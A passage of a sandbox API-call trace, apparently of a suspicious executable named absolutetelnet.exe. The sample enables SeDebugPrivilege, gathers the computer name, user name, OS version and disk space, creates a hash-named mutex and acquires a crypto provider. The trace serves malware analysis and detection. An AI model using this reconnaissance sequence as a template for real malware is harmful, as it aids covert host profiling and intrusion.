lpNumberOfBytesRead=0x1afbb988*=0x1000, lpOverlapped=0x0) returned 1 [0150.509] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb778, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbb778*=0x1000, lpOverlapped=0x0) returned 1 [0150.510] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb778, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbb778*=0x1000, lpOverlapped=0x0) returned 1 [0150.511] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb778, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbb778*=0x1000, lpOverlapped=0x0) returned 1 [0150.511] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb638, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbb638*=0x1000, lpOverlapped=0x0) returned 1 [0150.521] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb878, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbb878*=0x1000, lpOverlapped=0x0) returned 1 [0150.524] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb728, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbb728*=0x1000, lpOverlapped=0x0) returned 1 [0150.524] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb728, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbb728*=0xc8f, lpOverlapped=0x0) returned 1 [0150.524] ReadFile (in: hFile=0x2f0, lpBuffer=0x226a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1afbb848, lpOverlapped=0x0 | out: lpBuffer=0x226a048*, lpNumberOfBytesRead=0x1afbb848*=0x0, lpOverlapped=0x0) returned 1 [0150.524] CloseHandle (hObject=0x2f0) returned 1 [0150.526] GetCurrentProcess () returned 0xffffffffffffffff [0150.527] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbbe78 | out: TokenHandle=0x1afbbe78*=0x2f0) returned 1 [0150.527] GetCurrentProcess () returned 0xffffffffffffffff [0150.528] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbbe78 | out: TokenHandle=0x1afbbe78*=0x2f4) returned 1 [0150.529] GetCurrentProcess () returned 0xffffffffffffffff [0150.529] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbbc48 | out: TokenHandle=0x1afbbc48*=0x2f8) returned 1 [0150.529] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe.config" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1afbbcf0 | out: lpFileInformation=0x1afbbcf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0150.530] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe.config", nBufferLength=0x105, lpBuffer=0x1afbb680, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe.config", lpFilePart=0x0) returned 0x31 [0150.530] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe.config" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1afbbce8 | out: lpFileInformation=0x1afbbce8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0150.531] GetCurrentProcess () returned 0xffffffffffffffff [0150.532] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbbe78 | out: TokenHandle=0x1afbbe78*=0x2fc) returned 1 [0150.532] GetCurrentProcess () returned 0xffffffffffffffff [0150.532] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbbe78 | out: TokenHandle=0x1afbbe78*=0x300) returned 1 [0150.552] GetCurrentProcess () returned 0xffffffffffffffff [0150.552] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbbbd8 | out: TokenHandle=0x1afbbbd8*=0x304) returned 1 [0150.575] GetCurrentProcess () returned 0xffffffffffffffff [0150.575] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbbbe8 | out: TokenHandle=0x1afbbbe8*=0x308) returned 1 [0150.603] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbe0b8 | out: phkResult=0x1afbe0b8*=0x30c) returned 0x0 [0150.604] RegQueryValueExW (in: hKey=0x30c, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1afbe0f8, lpData=0x0, lpcbData=0x1afbe0f0*=0x0 | out: lpType=0x1afbe0f8*=0x4, lpData=0x0, lpcbData=0x1afbe0f0*=0x4) returned 0x0 [0150.604] RegQueryValueExW (in: hKey=0x30c, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1afbe0f8, lpData=0x1afbe0d8, lpcbData=0x1afbe0f0*=0x4 | out: lpType=0x1afbe0f8*=0x4, lpData=0x1afbe0d8*=0x1, lpcbData=0x1afbe0f0*=0x4) returned 0x0 [0150.608] RegQueryValueExW (in: hKey=0x30c, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1afbe168, lpData=0x0, lpcbData=0x1afbe160*=0x0 | out: lpType=0x1afbe168*=0x4, lpData=0x0, lpcbData=0x1afbe160*=0x4) returned 0x0 [0150.609] RegCloseKey (hKey=0x30c) returned 0x0 [0150.614] GetCurrentProcessId () returned 0xbf4 [0150.622] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1afbd110 | out: lpLuid=0x1afbd110*(LowPart=0x14, HighPart=0)) returned 1 [0150.624] GetCurrentProcess () returned 0xffffffffffffffff [0150.625] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1afbd108 | out: TokenHandle=0x1afbd108*=0x314) returned 1 [0150.625] AdjustTokenPrivileges (in: TokenHandle=0x314, DisableAllPrivileges=0, NewState=0x2291410*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0150.625] CloseHandle (hObject=0x314) returned 1 [0150.627] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x314 [0150.638] EnumProcessModules (in: hProcess=0x314, lphModule=0x2291478, cb=0x200, lpcbNeeded=0x1afbe0c0 | out: lphModule=0x2291478, lpcbNeeded=0x1afbe0c0) returned 1 [0150.640] GetModuleInformation (in: hProcess=0x314, hModule=0x4d0000, lpmodinfo=0x22916e8, cb=0x18 | out: lpmodinfo=0x22916e8*(lpBaseOfDll=0x4d0000, SizeOfImage=0x1fa000, EntryPoint=0x0)) returned 1 [0150.641] CoTaskMemAlloc (cb=0x804) returned 0x7cd0f0 [0150.641] GetModuleBaseNameW (in: hProcess=0x314, hModule=0x4d0000, lpBaseName=0x7cd0f0, nSize=0x800 | out: lpBaseName="absolutetelnet.exe") returned 0x12 [0150.642] CoTaskMemFree (pv=0x7cd0f0) [0150.643] CoTaskMemAlloc (cb=0x804) returned 0x7cd0f0 [0150.643] GetModuleFileNameExW (in: hProcess=0x314, hModule=0x4d0000, lpFilename=0x7cd0f0, nSize=0x800 | out: lpFilename="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe")) returned 0x2a [0150.643] CoTaskMemFree (pv=0x7cd0f0) [0150.643] CloseHandle (hObject=0x314) returned 1 [0150.646] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1afbdc00, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a [0150.646] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SecurityProtocol", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbe0b8 | out: phkResult=0x1afbe0b8*=0x0) returned 0x2 [0150.675] GetCurrentProcessId () returned 0xbf4 [0150.675] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x314 [0150.675] EnumProcessModules (in: hProcess=0x314, lphModule=0x2297c50, cb=0x200, lpcbNeeded=0x1afbe0d0 | out: lphModule=0x2297c50, lpcbNeeded=0x1afbe0d0) returned 1 [0150.675] GetModuleInformation (in: hProcess=0x314, hModule=0x4d0000, lpmodinfo=0x2297ec0, cb=0x18 | out: lpmodinfo=0x2297ec0*(lpBaseOfDll=0x4d0000, SizeOfImage=0x1fa000, EntryPoint=0x0)) returned 1 [0150.676] CoTaskMemAlloc (cb=0x804) returned 0x7cd900 [0150.676] GetModuleBaseNameW (in: hProcess=0x314, hModule=0x4d0000, lpBaseName=0x7cd900, nSize=0x800 | out: lpBaseName="absolutetelnet.exe") returned 0x12 [0150.676] CoTaskMemFree (pv=0x7cd900) [0150.676] CoTaskMemAlloc (cb=0x804) returned 0x7cd900 [0150.676] GetModuleFileNameExW (in: hProcess=0x314, hModule=0x4d0000, lpFilename=0x7cd900, nSize=0x800 | out: lpFilename="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe")) returned 0x2a [0150.676] CoTaskMemFree (pv=0x7cd900) [0150.676] CloseHandle (hObject=0x314) returned 1 [0150.677] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1afbdc10, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a [0150.677] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbe0c8 | out: phkResult=0x1afbe0c8*=0x0) returned 0x2 [0150.677] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afbe0c8 | out: phkResult=0x1afbe0c8*=0x314) returned 0x0 [0150.677] RegQueryValueExW (in: hKey=0x314, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x1afbe108, lpData=0x0, lpcbData=0x1afbe100*=0x0 | out: lpType=0x1afbe108*=0x0, lpData=0x0, lpcbData=0x1afbe100*=0x0) returned 0x2 [0150.677] RegCloseKey (hKey=0x314) returned 0x0 [0150.954] CoTaskMemAlloc (cb=0x20c) returned 0x7bddc0 [0150.954] GetSystemDirectoryW (in: lpBuffer=0x7bddc0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0150.955] CoTaskMemFree (pv=0x7bddc0) [0150.979] GetComputerNameW (in: lpBuffer=0x1afbc930, nSize=0x1afbcc58 | out: lpBuffer="XC64ZB", nSize=0x1afbcc58) returned 1 [0151.046] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20219, phkResult=0x1afbb658 | out: phkResult=0x1afbb658*=0x314) returned 0x0 [0151.048] RegQueryValueExW (in: hKey=0x314, lpValueName="ProductName", lpReserved=0x0, lpType=0x1afbb6a8, lpData=0x0, lpcbData=0x1afbb6a0*=0x0 | out: lpType=0x1afbb6a8*=0x1, lpData=0x0, lpcbData=0x1afbb6a0*=0x1e) returned 0x0 [0151.048] RegQueryValueExW (in: hKey=0x314, lpValueName="ProductName", lpReserved=0x0, lpType=0x1afbb6a8, lpData=0x229b830, lpcbData=0x1afbb6a0*=0x1e | out: lpType=0x1afbb6a8*=0x1, lpData="Windows 10 Pro", lpcbData=0x1afbb6a0*=0x1e) returned 0x0 [0151.051] RegCloseKey (hKey=0x314) returned 0x0 [0151.096] CoTaskMemAlloc (cb=0x20c) returned 0x7bf300 [0151.096] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7bf300 | out: pszPath="C:\\Users\\RDhJ0CNFevzX") returned 0x0 [0151.102] CoTaskMemFree (pv=0x7bf300) [0151.102] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX", nBufferLength=0x105, lpBuffer=0x1afbc5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX", lpFilePart=0x0) returned 0x15 [0151.112] CoTaskMemAlloc (cb=0x20c) returned 0x7beca0 [0151.112] GetSystemDirectoryW (in: lpBuffer=0x7beca0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.112] CoTaskMemFree (pv=0x7beca0) [0151.122] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1afbc630, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0151.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1afbcc70) returned 1 [0151.129] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\", lpFreeBytesAvailableToCaller=0x1afbcd08, lpTotalNumberOfBytes=0x1afbcd00, lpTotalNumberOfFreeBytes=0x1afbccf8 | out: lpFreeBytesAvailableToCaller=0x1afbcd08, lpTotalNumberOfBytes=0x1afbcd00, lpTotalNumberOfFreeBytes=0x1afbccf8) returned 1 [0151.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1afbcc20) returned 1 [0151.250] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1afbcb90 | out: pfEnabled=0x1afbcb90) returned 0x0 [0151.436] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full", ulOptions=0x0, samDesired=0x20219, phkResult=0x1afbc988 | out: phkResult=0x1afbc988*=0x39c) returned 0x0 [0151.438] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x0, lpcbData=0x1afbc9d0*=0x0 | out: lpType=0x1afbc9d8*=0x4, lpData=0x0, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.438] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x1afbc9b8, lpcbData=0x1afbc9d0*=0x4 | out: lpType=0x1afbc9d8*=0x4, lpData=0x1afbc9b8*=0x60636, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.438] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x0, lpcbData=0x1afbc9d0*=0x0 | out: lpType=0x1afbc9d8*=0x4, lpData=0x0, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.438] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x1afbc9b8, lpcbData=0x1afbc9d0*=0x4 | out: lpType=0x1afbc9d8*=0x4, lpData=0x1afbc9b8*=0x60636, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.439] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x0, lpcbData=0x1afbc9d0*=0x0 | out: lpType=0x1afbc9d8*=0x4, lpData=0x0, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.439] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x1afbc9b8, lpcbData=0x1afbc9d0*=0x4 | out: lpType=0x1afbc9d8*=0x4, lpData=0x1afbc9b8*=0x60636, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.439] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x0, lpcbData=0x1afbc9d0*=0x0 | out: lpType=0x1afbc9d8*=0x4, lpData=0x0, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.439] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x1afbc9b8, lpcbData=0x1afbc9d0*=0x4 | out: lpType=0x1afbc9d8*=0x4, lpData=0x1afbc9b8*=0x60636, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.439] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x0, lpcbData=0x1afbc9d0*=0x0 | out: lpType=0x1afbc9d8*=0x4, lpData=0x0, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.440] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x1afbc9b8, lpcbData=0x1afbc9d0*=0x4 | out: lpType=0x1afbc9d8*=0x4, lpData=0x1afbc9b8*=0x60636, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.440] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x0, lpcbData=0x1afbc9d0*=0x0 | out: lpType=0x1afbc9d8*=0x4, lpData=0x0, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.440] RegQueryValueExW (in: hKey=0x39c, lpValueName="Release", lpReserved=0x0, lpType=0x1afbc9d8, lpData=0x1afbc9b8, lpcbData=0x1afbc9d0*=0x4 | out: lpType=0x1afbc9d8*=0x4, lpData=0x1afbc9b8*=0x60636, lpcbData=0x1afbc9d0*=0x4) returned 0x0 [0151.446] RegCloseKey (hKey=0x39c) returned 0x0 [0151.461] GetComputerNameW (in: lpBuffer=0x1afbde40, nSize=0x1afbe168 | out: lpBuffer="XC64ZB", nSize=0x1afbe168) returned 1 [0151.464] GetUserNameW (in: lpBuffer=0x1afbde60, pcbBuffer=0x1afbe188 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x1afbe188) returned 1 [0151.536] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="51b7c2937dcd51371bf473f140592a8b88356288") returned 0x0 [0151.552] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Local\\51b7c2937dcd51371bf473f140592a8b88356288") returned 0x2ec [0154.077] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a00, lpName=0x0) returned 0x2b4 [0154.077] memcpy (in: _Dst=0x840000, _Src=0x23cb220, _Size=0x7a00 | out: _Dst=0x840000) returned 0x840000 [0154.709] CryptAcquireContextW (in: phProv=0x1afbb7f8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1afbb7f8*=0x7bc8b0) returned 1 [0154.733] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x1 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.734] CoTaskMemAlloc (cb=0x20) returned 0x7d6590 [0154.734] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6590, pdwDataLen=0x1afbb7b0, dwFlags=0x1 | out: pbData=0x7d6590, pdwDataLen=0x1afbb7b0) returned 1 [0154.735] CoTaskMemFree (pv=0x7d6590) [0154.735] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.735] CoTaskMemAlloc (cb=0x20) returned 0x7d6140 [0154.735] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6140, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6140, pdwDataLen=0x1afbb7b0) returned 1 [0154.735] CoTaskMemFree (pv=0x7d6140) [0154.735] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.735] CoTaskMemAlloc (cb=0x20) returned 0x7d65c0 [0154.735] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d65c0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d65c0, pdwDataLen=0x1afbb7b0) returned 1 [0154.735] CoTaskMemFree (pv=0x7d65c0) [0154.735] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.735] CoTaskMemAlloc (cb=0x20) returned 0x7d5cc0 [0154.735] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d5cc0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d5cc0, pdwDataLen=0x1afbb7b0) returned 1 [0154.735] CoTaskMemFree (pv=0x7d5cc0) [0154.735] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.736] CoTaskMemAlloc (cb=0x20) returned 0x7d6500 [0154.736] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6500, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6500, pdwDataLen=0x1afbb7b0) returned 1 [0154.736] CoTaskMemFree (pv=0x7d6500) [0154.736] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.736] CoTaskMemAlloc (cb=0x20) returned 0x7d5cc0 [0154.736] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d5cc0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d5cc0, pdwDataLen=0x1afbb7b0) returned 1 [0154.736] CoTaskMemFree (pv=0x7d5cc0) [0154.736] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.736] CoTaskMemAlloc (cb=0x20) returned 0x7d6620 [0154.736] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6620, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6620, pdwDataLen=0x1afbb7b0) returned 1 [0154.736] CoTaskMemFree (pv=0x7d6620) [0154.736] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemAlloc (cb=0x20) returned 0x7d5cc0 [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d5cc0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d5cc0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemFree (pv=0x7d5cc0) [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemAlloc (cb=0x20) returned 0x7d6650 [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6650, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6650, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemFree (pv=0x7d6650) [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemAlloc (cb=0x20) returned 0x7d5cc0 [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d5cc0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d5cc0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemFree (pv=0x7d5cc0) [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemAlloc (cb=0x20) returned 0x7d5ed0 [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d5ed0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d5ed0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemFree (pv=0x7d5ed0) [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemAlloc (cb=0x20) returned 0x7d62c0 [0154.737] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d62c0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d62c0, pdwDataLen=0x1afbb7b0) returned 1 [0154.737] CoTaskMemFree (pv=0x7d62c0) [0154.738] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.738] CoTaskMemAlloc (cb=0x20) returned 0x7d6620 [0154.738] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6620, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6620, pdwDataLen=0x1afbb7b0) returned 1 [0154.738] CoTaskMemFree (pv=0x7d6620) [0154.738] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.738] CoTaskMemAlloc (cb=0x20) returned 0x7d6350 [0154.738] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6350, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6350, pdwDataLen=0x1afbb7b0) returned 1 [0154.738] CoTaskMemFree (pv=0x7d6350) [0154.738] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1afbb7b0) returned 1 [0154.738] CoTaskMemAlloc (cb=0x20) returned 0x7d6350 [0154.738] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x7d6350, pdwDataLen=0x1afbb7b0, dwFlags=0x0 | out: pbData=0x7d6350, pdwDataLen=0x1afbb7b0) returned 1 [0154.738] CoTaskMemFree (pv=0x7d6350) [0154.738] CryptGetProvParam (in: hProv=0x7bc8b0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1afbb7b0, 